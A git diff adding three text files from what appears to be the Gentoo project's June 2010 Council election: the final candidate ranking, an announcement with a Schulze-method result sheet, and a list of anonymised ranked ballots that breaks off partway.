diff --git a/xml/htdocs/proj/en/elections/council/2010/council-201006-rank.txt b/xml/htdocs/proj/en/elections/council/2010/council-201006-rank.txt
new file mode 100644
index 00000000..402e925e
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2010/council-201006-rank.txt
@@ -0,0 +1,11 @@
+ferringb
+halcy0n
+jmbsvicetto
+chainsaw
+betelgeuse
+scarabeus
+wired
+patrick
+phajdan.jr
+sping
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/elections/council/2010/council-201006-results.txt b/xml/htdocs/proj/en/elections/council/2010/council-201006-results.txt
new file mode 100644
index 00000000..78d2e1b9
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2010/council-201006-results.txt
@@ -0,0 +1,321 @@
+Hello fellow devs and Gentoo community,
+
+in the 2010 Council election we had 270 eligable voters and 110
+submitted votes, which corresponds to a turnout of about 41 %.
+
+The full ranked list for this election is:
+
+   ferringb
+   halcy0n
+   jmbsvicetto
+   chainsaw
+   betelgeuse
+   scarabeus
+   wired
+   patrick
+   phajdan.jr
+   sping
+   _reopen_nominations
+
+The complete result sheet is attached to this message.
+
+Congratulations to the newly elected Council members. Thanks to all
+nominees for running in the election and to all voters for their
+participation.
+
+On behalf of the election officials
+
+Regards
+Ulrich
+
+---------------------------------------------------------------
+
+
+_reopen_nominations
+betelgeuse
+chainsaw
+ferringb
+halcy0n
+jmbsvicetto
+patrick
+phajdan.jr
+scarabeus
+sping
+wired
+
+                     _reop  betel  chain  ferri  halcy  jmbsv  patri  phajd  scara  sping  wired
+_reopen_nominations    ***     17      9     15     11     10     39     25     18     37     19
+         betelgeuse     88    ***     40     38     35     34     69     64     50     60     56
+           chainsaw     99     57    ***     40     40     38     72     73     52     69     69
+           ferringb     92     57     49    ***     47     49     76     76     60     72     71
+            halcy0n     96     51     54     46    ***     46     78     79     63     72     76
+        jmbsvicetto    100     55     55     48     42    ***     71     78     58     77     76
+            patrick     68     28     27     24     23     25    ***     54     36     55     47
+         phajdan.jr     81     32     17     25     21     21     46    ***     30     50     34
+          scarabeus     91     40     41     33     33     34     63     62    ***     61     53
+              sping     69     36     28     29     29     25     44     42     35    ***     39
+              wired     88     40     23     29     27     24     56     48     33     56    ***
+
+option _reopen_nominations is eliminated (betelgeuse trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat betelgeuse)
+option betelgeuse is eliminated (chainsaw trans-defeats betelgeuse, and betelgeuse does not trans-defeat chainsaw)
+option chainsaw is eliminated (ferringb trans-defeats chainsaw, and chainsaw does not trans-defeat ferringb)
+option halcy0n is eliminated (ferringb trans-defeats halcy0n, and halcy0n does not trans-defeat ferringb)
+option jmbsvicetto is eliminated (ferringb trans-defeats jmbsvicetto, and jmbsvicetto does not trans-defeat ferringb)
+option patrick is eliminated (betelgeuse trans-defeats patrick, and patrick does not trans-defeat betelgeuse)
+option phajdan.jr is eliminated (betelgeuse trans-defeats phajdan.jr, and phajdan.jr does not trans-defeat betelgeuse)
+option scarabeus is eliminated (betelgeuse trans-defeats scarabeus, and scarabeus does not trans-defeat betelgeuse)
+option sping is eliminated (betelgeuse trans-defeats sping, and sping does not trans-defeat betelgeuse)
+option wired is eliminated (betelgeuse trans-defeats wired, and wired does not trans-defeat betelgeuse)
+the Schwartz set is {ferringb}
+
+result: option ferringb wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  chain  ferri  halcy  jmbsv  patri  phajd  scara  sping  wired
+_reopen_nominations    ***     17      9     15     11     10     39     25     18     37     19
+         betelgeuse     88    ***     40     38     35     34     69     64     50     60     56
+           chainsaw     99     57    ***     40     40     38     72     73     52     69     69
+           ferringb     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            halcy0n     96     51     54     46    ***     46     78     79     63     72     76
+        jmbsvicetto    100     55     55     48     42    ***     71     78     58     77     76
+            patrick     68     28     27     24     23     25    ***     54     36     55     47
+         phajdan.jr     81     32     17     25     21     21     46    ***     30     50     34
+          scarabeus     91     40     41     33     33     34     63     62    ***     61     53
+              sping     69     36     28     29     29     25     44     42     35    ***     39
+              wired     88     40     23     29     27     24     56     48     33     56    ***
+
+option _reopen_nominations is eliminated (betelgeuse trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat betelgeuse)
+option betelgeuse is eliminated (chainsaw trans-defeats betelgeuse, and betelgeuse does not trans-defeat chainsaw)
+option chainsaw is eliminated (halcy0n trans-defeats chainsaw, and chainsaw does not trans-defeat halcy0n)
+option jmbsvicetto is eliminated (halcy0n trans-defeats jmbsvicetto, and jmbsvicetto does not trans-defeat halcy0n)
+option patrick is eliminated (betelgeuse trans-defeats patrick, and patrick does not trans-defeat betelgeuse)
+option phajdan.jr is eliminated (betelgeuse trans-defeats phajdan.jr, and phajdan.jr does not trans-defeat betelgeuse)
+option scarabeus is eliminated (betelgeuse trans-defeats scarabeus, and scarabeus does not trans-defeat betelgeuse)
+option sping is eliminated (betelgeuse trans-defeats sping, and sping does not trans-defeat betelgeuse)
+option wired is eliminated (betelgeuse trans-defeats wired, and wired does not trans-defeat betelgeuse)
+the Schwartz set is {halcy0n}
+
+result: option halcy0n wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  chain  ferri  halcy  jmbsv  patri  phajd  scara  sping  wired
+_reopen_nominations    ***     17      9     15     11     10     39     25     18     37     19
+         betelgeuse     88    ***     40     38     35     34     69     64     50     60     56
+           chainsaw     99     57    ***     40     40     38     72     73     52     69     69
+           ferringb     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            halcy0n     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+        jmbsvicetto    100     55     55     48     42    ***     71     78     58     77     76
+            patrick     68     28     27     24     23     25    ***     54     36     55     47
+         phajdan.jr     81     32     17     25     21     21     46    ***     30     50     34
+          scarabeus     91     40     41     33     33     34     63     62    ***     61     53
+              sping     69     36     28     29     29     25     44     42     35    ***     39
+              wired     88     40     23     29     27     24     56     48     33     56    ***
+
+option _reopen_nominations is eliminated (betelgeuse trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat betelgeuse)
+option betelgeuse is eliminated (chainsaw trans-defeats betelgeuse, and betelgeuse does not trans-defeat chainsaw)
+option chainsaw is eliminated (jmbsvicetto trans-defeats chainsaw, and chainsaw does not trans-defeat jmbsvicetto)
+option patrick is eliminated (betelgeuse trans-defeats patrick, and patrick does not trans-defeat betelgeuse)
+option phajdan.jr is eliminated (betelgeuse trans-defeats phajdan.jr, and phajdan.jr does not trans-defeat betelgeuse)
+option scarabeus is eliminated (betelgeuse trans-defeats scarabeus, and scarabeus does not trans-defeat betelgeuse)
+option sping is eliminated (betelgeuse trans-defeats sping, and sping does not trans-defeat betelgeuse)
+option wired is eliminated (betelgeuse trans-defeats wired, and wired does not trans-defeat betelgeuse)
+the Schwartz set is {jmbsvicetto}
+
+result: option jmbsvicetto wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  chain  ferri  halcy  jmbsv  patri  phajd  scara  sping  wired
+_reopen_nominations    ***     17      9     15     11     10     39     25     18     37     19
+         betelgeuse     88    ***     40     38     35     34     69     64     50     60     56
+           chainsaw     99     57    ***     40     40     38     72     73     52     69     69
+           ferringb     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            halcy0n     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+        jmbsvicetto     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1
+            patrick     68     28     27     24     23     25    ***     54     36     55     47
+         phajdan.jr     81     32     17     25     21     21     46    ***     30     50     34
+          scarabeus     91     40     41     33     33     34     63     62    ***     61     53
+              sping     69     36     28     29     29     25     44     42     35    ***     39
+              wired     88     40     23     29     27     24     56     48     33     56    ***
+
+option _reopen_nominations is eliminated (betelgeuse trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat betelgeuse)
+option betelgeuse is eliminated (chainsaw trans-defeats betelgeuse, and betelgeuse does not trans-defeat chainsaw)
+option patrick is eliminated (betelgeuse trans-defeats patrick, and patrick does not trans-defeat betelgeuse)
+option phajdan.jr is eliminated (betelgeuse trans-defeats phajdan.jr, and phajdan.jr does not trans-defeat betelgeuse)
+option scarabeus is eliminated (betelgeuse trans-defeats scarabeus, and scarabeus does not trans-defeat betelgeuse)
+option sping is eliminated (betelgeuse trans-defeats sping, and sping does not trans-defeat betelgeuse)
+option wired is eliminated (betelgeuse trans-defeats wired, and wired does not trans-defeat betelgeuse)
+the Schwartz set is {chainsaw}
+
+result: option chainsaw wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  chain  ferri  halcy  jmbsv  patri  phajd  scara  sping  wired
+_reopen_nominations    ***     17      9     15     11     10     39     25     18     37     19
+         betelgeuse     88    ***     40     38     35     34     69     64     50     60     56
+           chainsaw     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1
+           ferringb     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            halcy0n     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+        jmbsvicetto     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1
+            patrick     68     28     27     24     23     25    ***     54     36     55     47
+         phajdan.jr     81     32     17     25     21     21     46    ***     30     50     34
+          scarabeus     91     40     41     33     33     34     63     62    ***     61     53
+              sping     69     36     28     29     29     25     44     42     35    ***     39
+              wired     88     40     23     29     27     24     56     48     33     56    ***
+
+option _reopen_nominations is eliminated (betelgeuse trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat betelgeuse)
+option patrick is eliminated (betelgeuse trans-defeats patrick, and patrick does not trans-defeat betelgeuse)
+option phajdan.jr is eliminated (betelgeuse trans-defeats phajdan.jr, and phajdan.jr does not trans-defeat betelgeuse)
+option scarabeus is eliminated (betelgeuse trans-defeats scarabeus, and scarabeus does not trans-defeat betelgeuse)
+option sping is eliminated (betelgeuse trans-defeats sping, and sping does not trans-defeat betelgeuse)
+option wired is eliminated (betelgeuse trans-defeats wired, and wired does not trans-defeat betelgeuse)
+the Schwartz set is {betelgeuse}
+
+result: option betelgeuse wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  chain  ferri  halcy  jmbsv  patri  phajd  scara  sping  wired
+_reopen_nominations    ***     17      9     15     11     10     39     25     18     37     19
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           chainsaw     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1
+           ferringb     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            halcy0n     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+        jmbsvicetto     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1
+            patrick     68     28     27     24     23     25    ***     54     36     55     47
+         phajdan.jr     81     32     17     25     21     21     46    ***     30     50     34
+          scarabeus     91     40     41     33     33     34     63     62    ***     61     53
+              sping     69     36     28     29     29     25     44     42     35    ***     39
+              wired     88     40     23     29     27     24     56     48     33     56    ***
+
+option _reopen_nominations is eliminated (patrick trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat patrick)
+option patrick is eliminated (scarabeus trans-defeats patrick, and patrick does not trans-defeat scarabeus)
+option phajdan.jr is eliminated (patrick trans-defeats phajdan.jr, and phajdan.jr does not trans-defeat patrick)
+option sping is eliminated (patrick trans-defeats sping, and sping does not trans-defeat patrick)
+option wired is eliminated (scarabeus trans-defeats wired, and wired does not trans-defeat scarabeus)
+the Schwartz set is {scarabeus}
+
+result: option scarabeus wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  chain  ferri  halcy  jmbsv  patri  phajd  scara  sping  wired
+_reopen_nominations    ***     17      9     15     11     10     39     25     18     37     19
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           chainsaw     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1
+           ferringb     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            halcy0n     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+        jmbsvicetto     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1
+            patrick     68     28     27     24     23     25    ***     54     36     55     47
+         phajdan.jr     81     32     17     25     21     21     46    ***     30     50     34
+          scarabeus     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+              sping     69     36     28     29     29     25     44     42     35    ***     39
+              wired     88     40     23     29     27     24     56     48     33     56    ***
+
+option _reopen_nominations is eliminated (patrick trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat patrick)
+option patrick is eliminated (wired trans-defeats patrick, and patrick does not trans-defeat wired)
+option phajdan.jr is eliminated (patrick trans-defeats phajdan.jr, and phajdan.jr does not trans-defeat patrick)
+option sping is eliminated (patrick trans-defeats sping, and sping does not trans-defeat patrick)
+the Schwartz set is {wired}
+
+result: option wired wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  chain  ferri  halcy  jmbsv  patri  phajd  scara  sping  wired
+_reopen_nominations    ***     17      9     15     11     10     39     25     18     37     19
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           chainsaw     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1
+           ferringb     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            halcy0n     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+        jmbsvicetto     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1
+            patrick     68     28     27     24     23     25    ***     54     36     55     47
+         phajdan.jr     81     32     17     25     21     21     46    ***     30     50     34
+          scarabeus     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+              sping     69     36     28     29     29     25     44     42     35    ***     39
+              wired     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (patrick trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat patrick)
+option phajdan.jr is eliminated (patrick trans-defeats phajdan.jr, and phajdan.jr does not trans-defeat patrick)
+option sping is eliminated (patrick trans-defeats sping, and sping does not trans-defeat patrick)
+the Schwartz set is {patrick}
+
+result: option patrick wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  chain  ferri  halcy  jmbsv  patri  phajd  scara  sping  wired
+_reopen_nominations    ***     17      9     15     11     10     39     25     18     37     19
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           chainsaw     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1
+           ferringb     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            halcy0n     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+        jmbsvicetto     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1
+            patrick     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1
+         phajdan.jr     81     32     17     25     21     21     46    ***     30     50     34
+          scarabeus     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+              sping     69     36     28     29     29     25     44     42     35    ***     39
+              wired     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (phajdan.jr trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat phajdan.jr)
+option sping is eliminated (phajdan.jr trans-defeats sping, and sping does not trans-defeat phajdan.jr)
+the Schwartz set is {phajdan.jr}
+
+result: option phajdan.jr wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  chain  ferri  halcy  jmbsv  patri  phajd  scara  sping  wired
+_reopen_nominations    ***     17      9     15     11     10     39     25     18     37     19
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           chainsaw     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1
+           ferringb     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            halcy0n     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+        jmbsvicetto     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1
+            patrick     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1
+         phajdan.jr     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1
+          scarabeus     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+              sping     69     36     28     29     29     25     44     42     35    ***     39
+              wired     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (sping trans-defeats _reopen_nominations, and _reopen_nominations does not trans-defeat sping)
+the Schwartz set is {sping}
+
+result: option sping wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  betel  chain  ferri  halcy  jmbsv  patri  phajd  scara  sping  wired
+_reopen_nominations    ***     17      9     15     11     10     39     25     18     37     19
+         betelgeuse     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1     -1
+           chainsaw     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1     -1
+           ferringb     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1     -1
+            halcy0n     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1     -1
+        jmbsvicetto     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1     -1
+            patrick     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1     -1
+         phajdan.jr     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1     -1
+          scarabeus     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1     -1
+              sping     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++     -1
+              wired     -1     -1     -1     -1     -1     -1     -1     -1     -1     -1    +++
+
+the Schwartz set is {_reopen_nominations}
+
+result: option _reopen_nominations wins
+
+*** Finished ranking candidates ***
+
+Final ranked list:
+ferringb
+halcy0n
+jmbsvicetto
+chainsaw
+betelgeuse
+scarabeus
+wired
+patrick
+phajdan.jr
+sping
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/elections/council/2010/master-council201006.txt b/xml/htdocs/proj/en/elections/council/2010/master-council201006.txt
new file mode 100644
index 00000000..9f9efef3
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2010/master-council201006.txt
@@ -0,0 +1,974 @@
+--------- confirmation 2720 ---------
+wired betelgeuse ferringb scarabeus
+patrick jmbsvicetto halcy0n phajdan.jr chainsaw
+sping
+_reopen_nominations
+--------- confirmation 2b95 ---------
+scarabeus
+jmbsvicetto
+wired
+ferringb
+halcy0n
+betelgeuse
+chainsaw
+_reopen_nominations
+patrick
+phajdan.jr
+sping
+--------- confirmation 2bbf ---------
+sping
+scarabeus
+halcy0n
+chainsaw
+ferringb
+wired
+patrick
+jmbsvicetto
+betelgeuse
+phajdan.jr
+_reopen_nominations
+--------- confirmation 2e15 ---------
+ferringb scarabeus betelgeuse halcy0n
+patrick jmbsvicetto
+sping chainsaw
+wired phajdan.jr
+_reopen_nominations
+--------- confirmation 35ba ---------
+betelgeuse halcy0n jmbsvicetto scarabeus
+patrick
+chainsaw
+phajdan.jr
+ferringb
+wired
+sping
+_reopen_nominations
+--------- confirmation 3737 ---------
+chainsaw
+halcy0n jmbsvicetto ferringb
+wired
+betelgeuse
+sping scarabeus phajdan.jr
+_reopen_nominations
+patrick
+--------- confirmation 3859 ---------
+phajdan.jr
+patrick betelgeuse wired chainsaw jmbsvicetto ferringb halcy0n scarabeus sping
+_reopen_nominations
+--------- confirmation 3c9c ---------
+halcy0n betelgeuse
+chainsaw jmbsvicetto
+ferringb scarabeus
+patrick
+_reopen_nominations
+phajdan.jr
+wired
+sping
+--------- confirmation 4121 ---------
+chainsaw sping
+phajdan.jr halcy0n
+jmbsvicetto wired betelgeuse
+_reopen_nominations
+ferringb
+patrick
+scarabeus
+--------- confirmation 419c ---------
+halcy0n
+ferringb chainsaw
+patrick jmbsvicetto betelgeuse
+scarabeus phajdan.jr sping wired
+_reopen_nominations
+--------- confirmation 420a ---------
+_reopen_nominations
+jmbsvicetto
+patrick
+ferringb
+chainsaw
+halcy0n
+betelgeuse
+wired
+sping
+scarabeus
+phajdan.jr
+--------- confirmation 42d2 ---------
+ferringb
+halcy0n
+phajdan.jr
+chainsaw
+jmbsvicetto
+wired
+patrick
+sping
+scarabeus betelgeuse
+_reopen_nominations
+--------- confirmation 470e ---------
+halcy0n betelgeuse ferringb
+scarabeus chainsaw
+wired phajdan.jr jmbsvicetto
+_reopen_nominations
+sping
+patrick
+--------- confirmation 0748 ---------
+chainsaw
+betelgeuse
+jmbsvicetto
+ferringb
+halcy0n
+scarabeus
+wired
+patrick
+sping
+phajdan.jr
+--------- confirmation 4c72 ---------
+jmbsvicetto patrick chainsaw halcy0n ferringb betelgeuse
+_reopen_nominations
+scarabeus phajdan.jr wired sping
+--------- confirmation 4c7e ---------
+sping
+ferringb
+halcy0n
+chainsaw
+patrick
+wired
+phajdan.jr
+scarabeus
+jmbsvicetto
+betelgeuse
+_reopen_nominations
+--------- confirmation 4e00 ---------
+halcy0n
+ferringb
+jmbsvicetto
+wired
+chainsaw
+betelgeuse scarabeus
+_reopen_nominations
+phajdan.jr
+patrick
+sping
+--------- confirmation 4e10 ---------
+chainsaw sping jmbsvicetto halcy0n
+betelgeuse
+phajdan.jr
+wired
+_reopen_nominations
+patrick
+ferringb
+scarabeus
+--------- confirmation 4e19 ---------
+sping wired chainsaw jmbsvicetto phajdan.jr scarabeus ferringb betelgeuse
+_reopen_nominations
+halcy0n patrick
+--------- confirmation 507f ---------
+halcy0n
+betelgeuse
+chainsaw
+phajdan.jr
+ferringb
+scarabeus
+jmbsvicetto
+sping
+patrick
+wired
+_reopen_nominations
+--------- confirmation 58f9 ---------
+ferringb
+halcy0n
+jmbsvicetto
+betelgeuse
+chainsaw
+wired
+scarabeus
+_reopen_nominations
+patrick
+phajdan.jr
+sping
+--------- confirmation 5962 ---------
+ferringb
+jmbsvicetto scarabeus
+halcy0n
+chainsaw
+betelgeuse sping
+wired
+phajdan.jr
+patrick
+_reopen_nominations
+--------- confirmation 5aa4 ---------
+ferringb
+sping
+patrick
+jmbsvicetto
+betelgeuse
+chainsaw
+halcy0n
+phajdan.jr
+scarabeus
+wired
+_reopen_nominations
+--------- confirmation 5ac4 ---------
+phajdan.jr
+scarabeus
+sping
+chainsaw
+betelgeuse
+_reopen_nominations
+wired
+patrick
+halcy0n ferringb
+jmbsvicetto
+--------- confirmation 5f23 ---------
+ferringb halcy0n chainsaw
+betelgeuse jmbsvicetto
+sping patrick phajdan.jr
+scarabeus wired
+_reopen_nominations
+--------- confirmation 6097 ---------
+jmbsvicetto ferringb scarabeus
+phajdan.jr
+chainsaw
+patrick
+wired
+halcy0n betelgeuse sping _reopen_nominations
+--------- confirmation 61a4 ---------
+scarabeus
+ferringb
+chainsaw
+patrick
+betelgeuse
+halcy0n
+wired
+jmbsvicetto
+phajdan.jr
+sping
+_reopen_nominations
+--------- confirmation 0a16 ---------
+wired
+ferringb
+jmbsvicetto
+scarabeus
+halcy0n betelgeuse
+phajdan.jr patrick chainsaw
+_reopen_nominations
+sping
+--------- confirmation 664d ---------
+sping
+jmbsvicetto halcy0n ferringb
+_reopen_nominations
+wired phajdan.jr scarabeus chainsaw betelgeuse
+patrick
+--------- confirmation 695d ---------
+sping
+jmbsvicetto
+scarabeus
+phajdan.jr
+chainsaw
+halcy0n
+ferringb
+wired
+_reopen_nominations
+betelgeuse
+patrick
+--------- confirmation 0b0a ---------
+ferringb wired
+scarabeus phajdan.jr betelgeuse
+jmbsvicetto
+halcy0n chainsaw
+patrick sping
+_reopen_nominations
+--------- confirmation 6f60 ---------
+halcy0n
+ferringb
+chainsaw
+scarabeus
+jmbsvicetto
+phajdan.jr
+wired
+betelgeuse
+_reopen_nominations
+sping
+patrick
+--------- confirmation 6fd4 ---------
+sping
+chainsaw phajdan.jr
+halcy0n jmbsvicetto
+betelgeuse
+_reopen_nominations
+scarabeus wired
+ferringb
+patrick
+--------- confirmation 6fe4 ---------
+ferringb halcy0n
+sping
+betelgeuse chainsaw jmbsvicetto
+phajdan.jr scarabeus wired
+_reopen_nominations
+patrick
+--------- confirmation 0b3d ---------
+halcy0n
+jmbsvicetto
+chainsaw
+wired
+sping
+scarabeus
+phajdan.jr
+ferringb
+betelgeuse
+patrick
+_reopen_nominations
+--------- confirmation 70f9 ---------
+jmbsvicetto
+scarabeus
+chainsaw
+_reopen_nominations
+sping
+betelgeuse
+ferringb
+wired
+halcy0n
+phajdan.jr
+patrick
+--------- confirmation 71ac ---------
+jmbsvicetto
+betelgeuse
+halcy0n
+sping
+scarabeus
+patrick
+--------- confirmation 74e6 ---------
+chainsaw
+sping
+jmbsvicetto halcy0n ferringb
+betelgeuse
+_reopen_nominations
+patrick
+wired phajdan.jr
+scarabeus
+--------- confirmation 757f ---------
+betelgeuse halcy0n scarabeus jmbsvicetto
+chainsaw sping wired
+phajdan.jr ferringb
+_reopen_nominations
+patrick
+--------- confirmation 78c3 ---------
+scarabeus halcy0n
+jmbsvicetto
+chainsaw
+betelgeuse
+ferringb
+wired
+phajdan.jr
+_reopen_nominations
+patrick
+sping
+--------- confirmation 0c7e ---------
+chainsaw
+betelgeuse ferringb patrick wired scarabeus
+halcy0n
+phajdan.jr
+jmbsvicetto
+_reopen_nominations
+sping
+--------- confirmation 7d3e ---------
+chainsaw
+halcy0n
+phajdan.jr
+scarabeus
+jmbsvicetto
+--------- confirmation 7f92 ---------
+betelgeuse
+jmbsvicetto
+ferringb
+halcy0n
+chainsaw
+wired
+scarabeus
+_reopen_nominations
+patrick phajdan.jr
+sping
+--------- confirmation 807c ---------
+jmbsvicetto
+ferringb
+patrick
+chainsaw
+halcy0n
+scarabeus
+wired
+phajdan.jr
+sping
+betelgeuse
+_reopen_nominations
+--------- confirmation 0d46 ---------
+betelgeuse
+halcy0n
+wired
+jmbsvicetto chainsaw patrick phajdan.jr ferringb sping scarabeus
+_reopen_nominations
+--------- confirmation 863b ---------
+halcy0n
+ferringb
+jmbsvicetto
+betelgeuse
+chainsaw
+phajdan.jr
+wired
+sping
+scarabeus
+_reopen_nominations
+patrick
+--------- confirmation 0d86 ---------
+_reopen_nominations
+sping
+patrick scarabeus
+betelgeuse ferringb
+chainsaw
+wired halcy0n
+phajdan.jr
+jmbsvicetto
+--------- confirmation 8a41 ---------
+wired jmbsvicetto halcy0n betelgeuse
+chainsaw ferringb scarabeus patrick
+sping phajdan.jr
+_reopen_nominations
+--------- confirmation 8cb3 ---------
+sping
+phajdan.jr
+wired
+chainsaw
+betelgeuse
+halcy0n
+scarabeus
+_reopen_nominations
+ferringb
+jmbsvicetto
+patrick
+--------- confirmation 8e6d ---------
+chainsaw
+patrick
+betelgeuse
+halcy0n
+jmbsvicetto
+ferringb
+scarabeus
+_reopen_nominations
+phajdan.jr
+sping
+wired
+--------- confirmation 9238 ---------
+betelgeuse jmbsvicetto patrick
+ferringb chainsaw phajdan.jr
+scarabeus wired halcy0n
+sping
+_reopen_nominations
+--------- confirmation 9334 ---------
+jmbsvicetto
+halcy0n
+scarabeus
+ferringb
+betelgeuse
+patrick
+chainsaw
+wired
+sping
+_reopen_nominations
+phajdan.jr
+--------- confirmation 9441 ---------
+wired scarabeus ferringb
+chainsaw halcy0n
+jmbsvicetto
+sping
+patrick
+phajdan.jr
+betelgeuse
+_reopen_nominations
+--------- confirmation 97b6 ---------
+chainsaw scarabeus jmbsvicetto patrick
+halcy0n phajdan.jr wired
+sping betelgeuse ferringb
+_reopen_nominations
+--------- confirmation 99fb ---------
+betelgeuse
+halcy0n
+scarabeus
+patrick
+ferringb
+jmbsvicetto
+wired
+sping
+phajdan.jr
+chainsaw
+_reopen_nominations
+--------- confirmation 9b19 ---------
+phajdan.jr
+jmbsvicetto
+chainsaw
+wired
+ferringb
+halcy0n
+_reopen_nominations
+betelgeuse
+scarabeus
+patrick
+sping
+--------- confirmation 9b86 ---------
+scarabeus wired
+jmbsvicetto ferringb
+sping
+phajdan.jr halcy0n betelgeuse chainsaw
+_reopen_nominations
+patrick
+--------- confirmation 0fdb ---------
+patrick
+ferringb scarabeus
+chainsaw wired
+jmbsvicetto phajdan.jr
+_reopen_nominations
+halcy0n sping betelgeuse
+--------- confirmation a111 ---------
+jmbsvicetto
+scarabeus
+wired
+betelgeuse
+chainsaw sping
+patrick halcy0n
+phajdan.jr ferringb
+--------- confirmation a2c9 ---------
+halcy0n jmbsvicetto
+ferringb chainsaw
+patrick
+_reopen_nominations
+wired
+scarabeus
+betelgeuse
+phajdan.jr
+sping
+--------- confirmation a6e4 ---------
+ferringb
+jmbsvicetto betelgeuse
+halcy0n chainsaw
+patrick
+sping
+phajdan.jr wired scarabeus
+_reopen_nominations
+--------- confirmation a87a ---------
+betelgeuse scarabeus
+halcy0n jmbsvicetto
+_reopen_nominations
+patrick chainsaw
+wired phajdan.jr
+ferringb
+sping
+--------- confirmation b0b7 ---------
+sping
+chainsaw
+betelgeuse
+halcy0n
+ferringb
+patrick
+jmbsvicetto
+scarabeus
+wired
+phajdan.jr
+_reopen_nominations
+--------- confirmation b38d ---------
+chainsaw ferringb
+betelgeuse patrick halcy0n
+jmbsvicetto scarabeus
+phajdan.jr wired
+_reopen_nominations
+sping
+--------- confirmation b824 ---------
+jmbsvicetto
+patrick
+ferringb
+--------- confirmation b882 ---------
+halcy0n
+chainsaw
+jmbsvicetto
+_reopen_nominations
+phajdan.jr
+ferringb
+wired
+betelgeuse
+patrick
+sping
+scarabeus
+--------- confirmation b89a ---------
+sping halcy0n
+patrick betelgeuse
+scarabeus chainsaw jmbsvicetto
+phajdan.jr wired
+_reopen_nominations
+ferringb
+--------- confirmation b8fe ---------
+halcy0n betelgeuse jmbsvicetto
+ferringb scarabeus
+chainsaw wired phajdan.jr
+_reopen_nominations
+sping patrick
+--------- confirmation 1323 ---------
